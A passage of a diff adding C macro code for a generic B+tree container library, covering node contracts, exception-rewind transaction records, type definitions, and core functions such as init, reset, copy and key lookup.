+   SWAP(M_F(name, _swap)),                                                    \
+   NAME(name), TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*),            \
+   SUBTYPE(M_F(name, _subtype_ct)),                                           \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_SET(M_F(name,_it_set)),                                                 \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_LAST(M_F(name,_it_last)),                                               \
+   IT_EQUAL_P(M_F(name,_it_equal_p)),                                         \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_PREVIOUS(M_F(name,_previous)),                                          \
+   IT_CREF(M_F(name,_cref)),                                                  \
+   RESET(API_0P(M_F(name,_reset))),                                           \
+   GET_MIN(M_F(name,_min)),                                                   \
+   GET_MAX(M_F(name,_max)),                                                   \
+   KEY_TYPE(M_F(name, _key_ct)),                                              \
+   VALUE_TYPE(M_F(name, _value_ct)),                                          \
+   SET_KEY(API_0P(M_F(name, _set_at))),                                       \
+   GET_KEY(M_F(name, _get)),                                                  \
+   SAFE_GET_KEY(API_0P(M_F(name, _safe_get))),                                \
+   ERASE_KEY(API_0P(M_F(name, _erase))),                                      \
+   KEY_OPLIST(key_oplist),                                                    \
+   VALUE_OPLIST(value_oplist),                                                \
+   M_IF_METHOD_BOTH(PARSE_STR, key_oplist, value_oplist)(PARSE_STR(API_0P(M_F(name, _parse_str))),), \
+   M_IF_METHOD_BOTH(OUT_STR, key_oplist, value_oplist)(OUT_STR(M_F(name, _out_str)),), \
+   M_IF_METHOD_BOTH(IN_STR, key_oplist, value_oplist)(IN_STR(API_0P(M_F(name, _in_str))),), \
+   M_IF_METHOD_BOTH(OUT_SERIAL, key_oplist, value_oplist)(OUT_SERIAL(API_0P(M_F(name, _out_serial))),), \
+   M_IF_METHOD_BOTH(IN_SERIAL, key_oplist, value_oplist)(IN_SERIAL(API_0P(M_F(name, _in_serial))),), \
+   M_IF_METHOD_BOTH(EQUAL, key_oplist, value_oplist)(EQUAL(M_F(name, _equal_p)),), \
+   M_IF_METHOD_BOTH(HASH, key_oplist, value_oplist)(HASH(M_F(name, _hash)),)  \
+   )
+#endif
+
+/******************************** INTERNAL ***********************************/
+
+/* Internal contract of a B+TREE of size 'N' for a node 'node' of root 'root' */
+#ifdef NDEBUG
+# define M_BPTR33_NODE_CONTRACT(N, isMulti, key_oplist, node, root)
+#else
+# define M_BPTR33_NODE_CONTRACT(N, isMulti, key_oplist, node, root) do {      \
+    M_ASSERT ((node) != NULL);                                                \
+    M_ASSERT ((root) != NULL);                                                \
+    int  num2     = (node)->num;                                              \
+    bool is_leaf2 = num2 <= 0;                                                \
+    num2 = num2 < 0 ? -num2 : num2;                                           \
+    if ((node) == (root)) {                                                   \
+      /* Contract of the root node. num can be 0 */                           \
+      M_ASSERT( 0 <= num2 && num2 <= N);                                      \
+      if (num2 == 0) M_ASSERT (is_leaf2);                                     \
+    } else {                                                                  \
+      /* Contract of a non-root node. num cannot be 0 */                      \
+      int c2 = N / 2;                                                         \
+      M_ASSERT (c2 > 0);                                                      \
+      M_ASSERT (c2 <= num2 && num2 <= N);                                     \
+    }                                                                         \
+    /* The node is sorted */                                                  \
+    for(int i2 = 1; i2 < num2 ; i2++) {                                       \
+      M_ASSERT (M_CALL_CMP(key_oplist, (node)->key[i2-1], (node)->key[i2]) M_IF(isMulti)(<=, <) 0); \
+    }                                                                         \
+    /* The chain node is also sorted */                                       \
+    if ((node)->next != NULL) {                                               \
+      M_ASSERT (num2 >= 1);                                                   \
+      M_ASSERT (M_CALL_CMP(key_oplist, (node)->key[num2-1], (node)->next->key[0]) M_IF(isMulti)(<=, <) 0); \
+    }                                                                         \
+    if ((node)->prev != NULL) {                                               \
+      M_ASSERT (num2 >= 1);                                                   \
+      int num_prev = (node)->prev->num;                                       \
+      num_prev = num_prev < 0 ? -num_prev : num_prev;                         \
+      M_ASSERT (num_prev >= 1);                                               \
+      M_ASSERT (M_CALL_CMP(key_oplist, (node)->prev->key[num_prev-1], (node)->key[0]) M_IF(isMulti)(<=, <) 0); \
+    }                                                                         \
+  } while (0)
+#endif
+
+/* Contract for a B+TREE of size N named 'b' */
+#ifdef NDEBUG
+#define M_BPTR33_CONTRACT(N, isMulti, key_oplist, b)
+#else
+#define M_BPTR33_CONTRACT(N, isMulti, key_oplist, b) do {                     \
+    M_STATIC_ASSERT (N >= 3, M_LIB_DIMENSION, "B+TREE supports only N >= 3"); \
+    M_BPTR33_NODE_CONTRACT(N, isMulti, key_oplist, (b)->root+0, (b)->root);   \
+    M_ASSERT ((b)->root->next == NULL);                                       \
+    M_ASSERT ((b)->root->prev == NULL);                                       \
+    if ((b)->root->num <= 0) M_ASSERT (-(b)->root->num == (int) (b)->size);   \
+  } while (0)
+#endif
+
+/* Max depth of any B+tree
+    Worst case is when all nodes are only half full.
+    Worst case is with the minimum size of a node (2)
+    Maximum number of elements: SIZE_MAX = 2 ^ (CHAR_BIT*sizeof (size_t)) - 1
+    Height of such a tree if inferior to:
+    Ceil(Log2(2 ^ (CHAR_BIT*sizeof (size_t)))) + 1
+    "+ 1" due to final line composed of nodes.
+ */
+#define M_BPTR33_MAX_STACK ((int)(1 + CHAR_BIT*sizeof (size_t)))
+
+/* Transaction types for B+tree operations, needed for exceptions to rewind the operations */
+typedef enum {
+  M_BPTR33_NONE = 0, /* No transaction */
+  M_BPTR33_NEW_NODE,      /* Transaction for a new node */
+  M_BPTR33_INIT_KEY,      /* Transaction for init a key */
+  M_BPTR33_MOVE_KEY,      /* Transaction for moving a key */
+  M_BPTR33_INIT_VALUE,    /* Transaction for init a value */
+  M_BPTR33_SPLIT_LEAF,    /* Transaction for a split of a leaf */
+  M_BPTR33_SPLIT_NODE,    /* Transaction for a split of a node */
+  M_BPTR33_SHIFT_LEAF,    /* Transaction for a shift of a leaf */
+  M_BPTR33_SHIFT_NODE,    /* Transaction for a shift of a node */
+  M_BPTR33_INC_SIZE,      /* Transaction for an increase of the size of the tree */
+} m_bptr33_transaction_kind_t;
+
+typedef struct {
+  m_bptr33_transaction_kind_t type; /* Type of the transaction */
+  void *data_dst;              /* Data destination of the transaction */
+  void *data_src;              /* Data source of the transaction */
+} m_bptr33_transaction_record_t;
+
+/* Maximum number of transactions for adding a new element in a B+Tree
+   5 records for a leaf + 4 records for a node */
+#define M_BPTR33_TRANSACTION_MAX (5+4*M_BPTR33_MAX_STACK)
+
+typedef struct {
+  int size;                    /* Size of the record stack */
+  m_bptr33_transaction_record_t tab[M_BPTR33_TRANSACTION_MAX];
+} m_bptr33_transaction_t[1];
+
+/* Internal function to add a transaction to the transaction stack */
+M_INLINE void 
+m_bptr33_add_transaction(m_bptr33_transaction_t records, 
+                         m_bptr33_transaction_kind_t type, void *data_dst, void *data_src)
+{
+  M_ASSERT( records != NULL );
+  M_ASSERT( records->size < M_BPTR33_TRANSACTION_MAX );
+  M_ASSERT( type != M_BPTR33_NONE );
+  records->tab[records->size].type = type;
+  records->tab[records->size].data_dst = data_dst;                             
+  records->tab[records->size].data_src = data_src;                              
+  records->size ++;
+}
+
+// Add transaction only in exception mode (See M_IF_EXCEPTION)
+// data real type is determined by the type of the transaction.
+// So everything is stored as void* and casted back when used.
+#define M_BPTR33_ADD_TRANSACTION(records, type, dst, src)                     \
+  M_IF_EXCEPTION(m_bptr33_add_transaction(records, type, (void*) dst, (void*)(intptr_t) src))
+
+/* Deferred evaluation for the b+tree definition,
+   so that all arguments are evaluated before further expansion */
+#define M_BPTR33_DEF_P1(arg) M_ID( M_BPTR33_DEF_P2 arg )
+
+/* Validate the key oplist before going further */
+#define M_BPTR33_DEF_P2(name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t) \
+  M_IF_OPLIST(key_oplist)(M_BPTR33_DEF_P3, M_BPTR33_DEF_FAILURE)              \
+  (name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t)
+
+/* Validate the value oplist before going further */
+#define M_BPTR33_DEF_P3(name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t) \
+  M_IF_OPLIST(value_oplist)(M_BPTR33_DEF_P4, M_BPTR33_DEF_FAILURE)            \
+  (name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t)
+
+/* Stop processing with a compilation failure */
+#define M_BPTR33_DEF_FAILURE(name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t) \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST,                                       \
+                   "(BPTREE*_DEF): one of the given argument is not a valid oplist: " \
+                   M_AS_STR(key_oplist) " / " M_AS_STR(value_oplist))
+
+/* Internal b+tree definition
+   - name: prefix to be used
+   - N: size of the node
+   - key_t: key type of the elements of the container
+   - key_oplist: oplist of the key type of the elements of the container
+   - value_t: value type of the elements of the container
+   - value_oplist: oplist of the value type of the elements of the container
+   - isMap: true if map, false if set
+   - isMulti: true if multimap/multiset, false otherwise
+   - tree_t: alias for the type of the container
+   - it_t: alias for the iterator of the container
+   - node_t: alias for internal node
+   - pit_t: alias for internal parent iterator
+   - subtype_t: alias for the type referenced by the iterator
+ */
+#define M_BPTR33_DEF_P4(name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t) \
+  M_BPTR33_DEF_TYPE(name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t) \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, key_t, key_oplist)                       \
+  M_CHECK_COMPATIBLE_OPLIST(name, 2, value_t, value_oplist)                   \
+  M_BPTR33_DEF_CORE(name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t) \
+  M_BPTR33_DEF_IT(name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t) \
+  M_BPTR33_DEF_EXT(name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t) \
+  M_EMPLACE_ASS_ARRAY_OR_QUEUE_DEF(M_INV(isMap), name, tree_t, key_oplist, value_oplist)
+  /* TODO: Check if key type has not disabled INIT_MOVE */
+
+/* Define the types of a B+Tree */
+#define M_BPTR33_DEF_TYPE(name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t) \
+  M_IF(isMap)(                                                                \
+    /* Type returned by the iterator. Due to having key and value             \
+       separated in their own array in the node, it is pointers to            \
+       the objects, not a global pointer to both objects. */                  \
+    typedef struct M_F(name, _pair_s) {                                       \
+      key_t   *key_ptr;                                                       \
+      value_t *value_ptr;                                                     \
+    } subtype_t;                                                              \
+    ,                                                                         \
+    typedef key_t subtype_t;                                                  \
+  )                                                                           \
+                                                                              \
+  /* Define a Node of a B+TREE                                                \
+   * For a reason of simplicity, it allocates one more element than           \
+   * needed so that the code can push one more element in the node and        \
+   * then split the nodes (simplify the code)                                 \
+   */                                                                         \
+  typedef struct M_F(name, _node_s) {                                         \
+    int    num;           /* Abs=Number of keys. Sign <0 is leaf */           \
+    key_t  key[N+1];      /* We can temporary push one more key */            \
+    struct M_F(name, _node_s) *next;  /* next node reference */               \
+    struct M_F(name, _node_s) *prev;  /* previous node reference */           \
+    union  M_F(name, _kind_s) {       /* either value or pointer to other nodes */ \
+      M_IF(isMap)(value_t        value[N+1];,)                                \
+      struct M_F(name, _node_s) *node[N+2];                                   \
+    } kind;                                                                   \
+  } *node_t;                                                                  \
+                                                                              \
+  /* A B+TREE is just a pointer to the root node */                           \
+  typedef struct M_F(name, _s) {                                              \
+    node_t root;                                                              \
+    size_t size;                                                              \
+  } tree_t[1];                                                                \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+                                                                              \
+  /* Definition of the alias used by the oplists */                           \
+  typedef subtype_t M_F(name, _subtype_ct);                                   \
+  typedef key_t     M_F(name, _key_ct);                                       \
+  typedef value_t   M_F(name, _value_ct);                                     \
+  typedef tree_t    M_F(name, _ct);                                           \
+                                                                              \
+  /* Define the Parent Tree Iterator */                                       \
+  typedef struct M_F(name, _parent_it_s) {                                    \
+    int num;                                                                  \
+    node_t parent[M_BPTR33_MAX_STACK];                                        \
+  } pit_t[1];                                                                 \
+                                                                              \
+  /* Define the Iterator */                                                   \
+  typedef struct M_F(name, _it_s) {                                           \
+    M_IF(isMap)(struct M_F(name, _pair_s) pair;,)                             \
+    node_t node;                                                              \
+    int    idx;                                                               \
+  } it_t[1];                                                                  \
+  typedef it_t M_F(name, _it_ct);                                             \
+
+/* Define the core functions of a B+ Tree */
+#define M_BPTR33_DEF_CORE(name, N, key_t, key_oplist, value_t, value_oplist, isMap, isMulti, tree_t, node_t, pit_t, it_t, subtype_t) \
+                                                                              \
+  /* Allocate a new node */                                                   \
+  /* TODO: Can be specialized to alloc for leaf or for non leaf */            \
+  M_INLINE node_t M_F(name, _new_node)(M_P_EXPAND_void)                       \
+  {                                                                           \
+    node_t n = M_CALL_NEW(key_oplist, struct M_F(name, _node_s));             \
+    if (M_UNLIKELY_NOMEM (n == NULL)) {                                       \
+      M_MEMORY_FULL(node_t, 1);                                               \
+    }                                                                         \
+    n->next = NULL;                                                           \
+    n->prev = NULL;                                                           \
+    n->num = 0;                                                               \
+    return n;                                                                 \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _init, tree_t b)                                            \
+  {                                                                           \
+    b->root = M_F(name, _new_node)(M_R_EXPAND_void);                          \
+    b->size = 0;                                                              \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool M_F(name, _is_leaf)(const node_t n)                           \
+  {                                                                           \
+    /* We consider the empty node as a leaf */                                \
+    /* Only the root node can be empty */                                     \
+    return n->num <= 0;                                                       \
+  }                                                                           \
+                                                                              \
+  /* Return the number of keys of the node */                                 \
+  M_INLINE int M_F(name, _get_num)(const node_t n)                            \
+  {                                                                           \
+    int num = n->num;                                                         \
+    num = num < 0 ? -num : num;                                               \
+    M_ASSERT (num <= N);                                                      \
+    return num;                                                               \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _reset, tree_t b)                                           \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    node_t next, n = b->root;                                                 \
+    pit_t pit;                                                                \
+    /* np is the heigh of the tree */                                         \
+    int np = 0;                                                               \
+    /* Scan down the nodes to the left down node */                           \
+    while (!M_F(name, _is_leaf)(n)) {                                         \
+      pit->parent[np++] = n;                                                  \
+      M_ASSERT (np <= M_BPTR33_MAX_STACK);                                    \
+      n = n->kind.node[0];                                                    \
+    }                                                                         \
+    pit->parent[np++] = n;                                                    \
+    M_ASSERT (np <= M_BPTR33_MAX_STACK);                                      \
+    /* Clean & free non root */                                               \
+    for(int i = 0; i < np; i++) {                                             \
+      n = pit->parent[i];                                                     \
+      while (n != NULL) {                                                     \
+        /* Clear key (& value for leaf) */                                    \
+        int num = M_F(name, _get_num)(n);                                     \
+        M_IF(isMap)(bool is_leaf = M_F(name, _is_leaf)(n);,)                  \
+        for(int j = 0; j < num; j++) {                                        \
+          M_CALL_CLEAR(key_oplist, n->key[j]);                                \
+          M_IF(isMap)(if (is_leaf) {                                          \
+              M_CALL_CLEAR(value_oplist, n->kind.value[j]);                   \
+            },)                                                               \
+        }                                                                     \
+        /* Next node of the same height */                                    \
+        next = n->next;                                                       \
+        if (i != 0) {                                                         \
+          /* Free the node if non root */                                     \
+          M_CALL_DEL(key_oplist, n);                                          \
+        }                                                                     \
+        n = next;                                                             \
+      }                                                                       \
+    }                                                                         \
+    /* Clean root */                                                          \
+    b->root->num = 0;                                                         \
+    b->size = 0;                                                              \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, tree_t b)                                           \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    M_F(name, _reset)M_R(b);                                                  \
+    /* Once the tree is clean, only the root remains */                       \
+    M_CALL_DEL(key_oplist, b->root);                                          \
+    b->root = NULL;                                                           \
+  }                                                                           \
+                                                                              \
+  /* Copy recursively the node 'o' of root node 'root' */                     \
+  M_P(void, name, _copy_node, node_t *dst, const node_t o, const node_t root M_IF_EXCEPTION(M_DEFERRED_COMMA key_t *volatile* key_to_rewind)) \
+  {                                                                           \
+    node_t n = M_F(name, _new_node)(M_R_EXPAND_void);                         \
+    *dst = n;                                                                 \
+    /* In exception mode, keep track of the number of elements in the node */ \
+    M_IF_EXCEPTION(n->num = 0);                                               \
+    /* By default it is not linked to its brother(s).                         \
+       Only its parent can do it: it has to fix it */                         \
+    /* Get number of keys in the node and copy them */                        \
+    const int num = M_F(name, _get_num)(o);                                   \
+    if (M_F(name, _is_leaf)(o)) {                                             \
+      /* Copy of a leaf */                                                    \
+      for(int i = 0; i < num; i++) {                                          \
+        M_CALL_INIT_SET(key_oplist, n->key[i], o->key[i]);                    \
+        /* In exception, keep track of the key to rewind */                   \
+        /* Only **one** key can be tracked at a time */                       \
+        M_IF_EXCEPTION(*key_to_rewind = &n->key[i]);                          \
+        /* Copy the associated values if it is a leaf and a MAP */            \
+        M_IF(isMap)(                                                          \
+          M_CALL_INIT_SET(value_oplist, n->kind.value[i], o->kind.value[i]);  \
+        , /* End of isMap */)                                                 \
+        M_IF_EXCEPTION(*key_to_rewind = NULL);                                \
+        M_IF_EXCEPTION(n->num += -1);                                         \
+      }                                                                       \
+   } else {                                                                   \
+      /* Copy recursively the associated nodes if it is not a leaf */         \
+      M_ASSERT(num != 0);                                                     \
+      /* In exception mode, clear the child pointers to know if allocation fails */ \
+      M_IF_EXCEPTION( for(int i = 0; i <= num; i++) {                         \
+        n->kind.node[i] = NULL;                                               \
+      })                                                                      \
+      for(int i = 0; i < num; i++) {                                          \
+        M_CALL_INIT_SET(key_oplist, n->key[i], o->key[i]);                    \
+        M_IF_EXCEPTION(n->num += 1; );                                        \
+      }                                                                       \
+      for(int i = 0; i <= num; i++) {                                         \
+        M_ASSERT(o->kind.node[i] != root);                                    \
+        M_F(name, _copy_node)M_R(&n->kind.node[i], o->kind.node[i], root M_IF_EXCEPTION(M_DEFERRED_COMMA key_to_rewind)); \
+      }                                                                       \
+      /* The copied nodes don't have their next/prev field correct */         \
+      /* Fix the next/prev field for the copied nodes */                      \
+      for(int i = 0; i < num; i++) {                                          \
+        node_t current = n->kind.node[i];                                     \
+        node_t next = n->kind.node[i+1];                                      \
+        current->next = next;                                                 \
+        next->prev = current;                                                 \
+        /* Go down the tree up to the leaf                                    \
+           and fix the final 'next' link with the copied node */              \
+        while (!M_F(name, _is_leaf)(current)) {                               \
+          M_ASSERT(!M_F(name, _is_leaf)(next));                               \
+          current = current->kind.node[current->num];                         \
+          next    = next->kind.node[0];                                       \
+          current->next = next;                                               \
+          next->prev = current;                                               \
+        }                                                                     \
+      }                                                                       \
+    }                                                                         \
+    /* Set default number of keys and type to copy */                         \
+    M_IF_EXCEPTION(M_ASSUME(n->num == o->num));                               \
+    n->num = o->num;                                                          \
+    M_BPTR33_NODE_CONTRACT(N, isMulti, key_oplist, n, (o==root) ? n : root);  \
+  }                                                                           \
+                                                                              \
+  M_IF_EXCEPTION(                                                             \
+  /* Rewind a node created using _copy_node */                                \
+  M_P(void, name, _reset_rewind_node, node_t n)                               \
+  {                                                                           \
+    M_ASSERT (n != NULL);                                                     \
+    /* WARNING : node is partially initialized and contracts aren't true ! */ \
+    const int num = M_F(name, _get_num)(n);                                   \
+    if (M_F(name, _is_leaf)(n)) {                                             \
+      for(int i = 0; i < num; i++) {                                          \
+        M_CALL_CLEAR(key_oplist, n->key[i]);                                  \
+        M_IF(isMap)(M_CALL_CLEAR(value_oplist, n->kind.value[i]); ,)          \
+      }                                                                       \
+    } else {                                                                  \
+      for(int i = 0; i < num; i++) {                                          \
+        M_CALL_CLEAR(key_oplist, n->key[i]);                                  \
+      }                                                                       \
+      /* Note: cannot use next pointes which may be broken. */                \
+      for(int i = 0; i <= num; i++) {                                         \
+        /* n->kind.node[i] is different of NULL, then it at least in a        \
+        semi-initialized state we can parse and undo */                       \
+        if (n->kind.node[i] != NULL) {                                        \
+          M_F(name, _reset_rewind_node)M_R(n->kind.node[i]);                  \
+        }                                                                     \
+      }                                                                       \
+    }                                                                         \
+    M_CALL_DEL(key_oplist, n);                                                \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _reset_rewind, tree_t b, key_t *volatile key_to_rewind)     \
+  {                                                                           \
+    M_ASSERT (b != NULL);                                                     \
+    /* B+Tree is not fully constructed. Clear it with care */                 \
+    /* In particular, not contract of a B+Tree holds. */                      \
+    /* Clear the unique key that belongs to a leaf for which its associated   \
+       value was not initialized */                                           \
+    if (key_to_rewind != NULL) {                                              \
+      M_CALL_CLEAR(key_oplist, *key_to_rewind);                               \
+    }                                                                         \
+    /* Clear the tree */                                                      \
+    if (b->root != NULL) {                                                    \
+      M_F(name, _reset_rewind_node)M_R(b->root);                              \
+    }                                                                         \
+    b->root = NULL;                                                           \
+    b->size = 1; /* make an invalid representation */                         \
+  }                                                                           \
+  /* End M_IF_EXCEPTION */ )                                                  \
+                                                                              \
+  M_P(void, name, _init_set, tree_t b, const tree_t o)                        \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, o);                             \
+    M_ASSERT (b != NULL);                                                     \
+    /* Just copy recursively the root node */                                 \
+    M_IF_EXCEPTION(key_t *volatile key_to_rewind = NULL);                     \
+    M_ON_EXCEPTION( M_F(name, _reset_rewind)M_R(b, key_to_rewind) ) {         \
+      M_IF_EXCEPTION(b->root = NULL);                                         \
+      M_F(name, _copy_node)M_R(&b->root, o->root, o->root M_IF_EXCEPTION( M_DEFERRED_COMMA &key_to_rewind)); \
+      b->size = o->size;                                                      \
+    }                                                                         \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool M_F(name, _empty_p)(const tree_t b)                           \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    /* root shall be an empty leaf */                                         \
+    return b->size == 0;                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t M_F(name, _size)(const tree_t b)                            \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    return b->size;                                                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE node_t M_F(name, _i_search_for_leaf)(pit_t pit, const tree_t b, key_t const key) \
+  {                                                                           \
+    node_t n = b->root;                                                       \
+    int np = 0;                                                               \
+    /* Go down the tree while searching for key */                            \
+    while (!M_F(name, _is_leaf)(n)) {                                         \
+      M_ASSERT (np <= M_BPTR33_MAX_STACK);                                    \
+      int i, hi = n->num;                                                     \
+      M_ASSERT (hi > 0);                                                      \
+      /* Linear search is usually faster than binary search for               \
+         B+TREE (due to cache effect). If a binary tree is faster for         \
+         the choosen type and size , it probably means that the               \
+         size of B+TREE is too big and should be reduced. */                  \
+      for(i = 0; i < hi; i++) {                                               \
+        if (M_CALL_CMP(key_oplist, key, n->key[i]) <= 0)                      \
+          break;                                                              \
+      }                                                                       \
+      /* Update the Parent iterator */                                        \
+      pit->parent[np++] = n;                                                  \
+      /* Select the new node to go down to */                                 \
+      n = n->kind.node[i];                                                    \
+      M_ASSERT (n != NULL);                                                   \
+      M_BPTR33_NODE_CONTRACT(N, isMulti, key_oplist, n, b->root);             \
+    }                                                                         \
+    pit->num = np;                                                            \
+    return n;                                                                 \
+  }                                                                           \
+                                                                              \
+  M_INLINE value_t *M_F(name, _get)(const tree_t b, key_t const key)          \
+  {                                                                           \
+    M_BPTR33_CONTRACT(N, isMulti, key_oplist, b);                             \
+    pit_t pit;                                                                \
+    /* Get the leaf node where the key can be */                              \
+    node_t n = M_F(name, _i_search_for_leaf)(pit, b, key);                    \
+    int cmp = 0;                                                              \
+    M_BPTR33_NODE_CONTRACT(N, isMulti, key_oplist, n, b->root);               \
+    /* Search in the leaf for key */                                          \
+    for(int i = 0; cmp >= 0 && i < -n->num; i++) {                            \
+      cmp = M_CALL_CMP(key_oplist, key, n->key[i]);                           \
+      if (cmp == 0) {                                                         \
+        /* Return the value if MAP mode or the key if SET mode */             \
+        return M_IF(isMap)(&n->kind.value[i],&n->key[i]);                     \
+      }                                                                       \
+    }                                                                         \
+    /* Key not found */                                                       \
+    return NULL;                                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE value_t const *M_F(name, _cget)(const tree_t b, key_t const key)   \
+  {                                                                           \
+    return M_CONST_CAST(value_t, M_F(name, _get)(b, key));                    \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _rewind_transaction, m_bptr33_transaction_t records)        \
+  {                                                                           \
+    M_ASSERT (records != NULL);                                               \
+    /* Rewind all the recorded transactions in reverse order */               \
+    for(int j = records->size - 1; j >= 0; j--) {                             \
+      m_bptr33_transaction_record_t *record = &records->tab[j];               \
+      switch (record->type) {                                                 \
+        case M_BPTR33_NEW_NODE:                                               \
+          M_CALL_DEL(key_oplist, (node_t) record->data_dst);                  \
+          break;                                                              \
+        case M_BPTR33_INIT_KEY:                                               \
+          M_CALL_CLEAR(key_oplist, *(key_t*) record->data_dst);               \
+          break;                                                              \
+        case M_BPTR33_MOVE_KEY:                                               \
+          M_CALL_INIT_MOVE(key_oplist, *(key_t*) record->data_src, *(key_t*) record->data_dst); \
+          break;                                                              \
+        case M_BPTR33_INIT_VALUE:                                             \
+          M_CALL_CLEAR(value_oplist, *(value_t*) record->data_dst);           \
+          break;                                                              \
+        case M_BPTR33_INC_SIZE:                                               \
+          {                                                                   \
+          struct M_F(name, _s) *t = (struct M_F(name, _s)*) record->data_dst; \
+          M_ASSERT(t != NULL);                                                \
+          M_ASSERT(t->size > 0);                                              \
+          t->size --;                                                         \
+          }                                                                   \
+          break;                                                              \
+        case M_BPTR33_SPLIT_LEAF:                                             \
+          { /* We need to link back the splitted node to the original node */ \
+            node_t a = (node_t) record->data_dst;                             \
+            node_t b = (node_t) record->data_src;                             \
+            M_ASSERT(a != NULL && a->next == b);                              \
+            M_ASSERT(M_F(name, _is_leaf)(a) && M_F(name, _is_leaf)(b));       \
+            /* Unlink b */                                                    \
+            a->next = b->next;                                                \
+            if (b->next != NULL) {                                            \
+              b->next->prev = a;                                              \
+            }                                                                 \
+            /* Move items from b back to a*/                                  \
+            int na = M_F(name, _get_num)(a);                                  \
+            int nb = M_F(name, _get_num)(b);                                  \
+            M_ASSERT(na + nb == N + 1);                                       \
+            memmove(&a->key[na], &b->key[0], sizeof(key_t)*(unsigned int)nb); \
+            M_IF(isMap)(memmove(&a->kind.value[na], &b->kind.value[0], sizeof(value_t)*(unsigned int)nb);,) \
+            a->num -= nb; /* Increase num for leaf (negative representation) */ \
+            /* b will be deleted later due to M_BPTR33_NEW_NODE record */     \
+          }                                                                   \
+          break;                                                              \
+        case M_BPTR33_SPLIT_NODE:                                             \
+          { /* We need to link back the splitted node to the original node */ \
+            node_t a = (node_t) record->data_dst;                             \
+            node_t b = (node_t) record->data_src;                             \
+            M_ASSERT(a != NULL && a->next == b);                              \
+            M_ASSERT(!M_F(name, _is_leaf)(a) && !M_F(name, _is_leaf)(b));     \
+            /* Unlink b */                                                    \
+            a->next = b->next;                                                \
+            if (b->next != NULL) {                                            \
+              b->next->prev = a;                                              \
+            }                                                                 \
+            /* Move items from b back to a*/                                  \
+            int na = M_F(name, _get_num)(a);                                  \
+            int nb = M_F(name, _get_num)(b);                                  \
+            M_ASSERT(na + nb + 1 == N + 1);                                   \
+            memmove(&a->key[na+1], &b->key[0], sizeof(key_t)*(unsigned int)nb); \
+            memmove(&a->kind.node[na+1], &b->kind.node[0], sizeof(node_t)*(unsigned int)(nb+1)); \
+            /* We need to keep an empty slot in the middle at [na] */         \
+            /* it will be filled later by a M_BPTR33_MOVE_KEY record */       \
+            a->num += nb + 1; /* Increase num for node */                     \
+            /* b will be deleted later due to M_BPTR33_NEW_NODE record */     \
+          }                                                                   \
+          break;                                                              \
+        case M_BPTR33_SHIFT_LEAF:                                             \
+          { /* We need to shift back the shifted node */                      \
+            node_t n = (node_t) record->data_dst;                             \
+            M_ASSERT(M_F(name, _is_leaf)(n));                                 \
+            int i = (int)(intptr_t) record->data_src;                         \
+            int num = -(++n->num);                                            \
+            memmove(&n->key[i], &n->key[i+1], sizeof(key_t)*(unsigned int)(num-i)); \
+            M_IF(isMap)(memmove(&n->kind.value[i], &n->kind.value[i+1], sizeof(value_t)*(unsigned int)(num-i));,) \
+          }                                                                   \
+          break;                                                              \
+        case M_BPTR33_SHIFT_NODE:                                             \
+          { /* We need to shift back the shifted node */                      \
+            node_t n = (node_t) record->data_dst;                             \
+            M_ASSERT(!M_F(name, _is_leaf)(n));                                \
+            int i = (int)(intptr_t) record->data_src;                         \
+            int num = --n->num;                                               \
+            memmove(&n->key[i], &n->key[i+1], sizeof(key_t)*(unsigned int)(num-i)); \
+            memmove(&n->kind.node[i], &n->kind.node[i+1], sizeof(node_t)*(unsigned int)(num-i+1)); \
+          }                                                                   \
+          break;                                                              \
+        case M_BPTR33_NONE:                                                   \
+        default:                                                              \
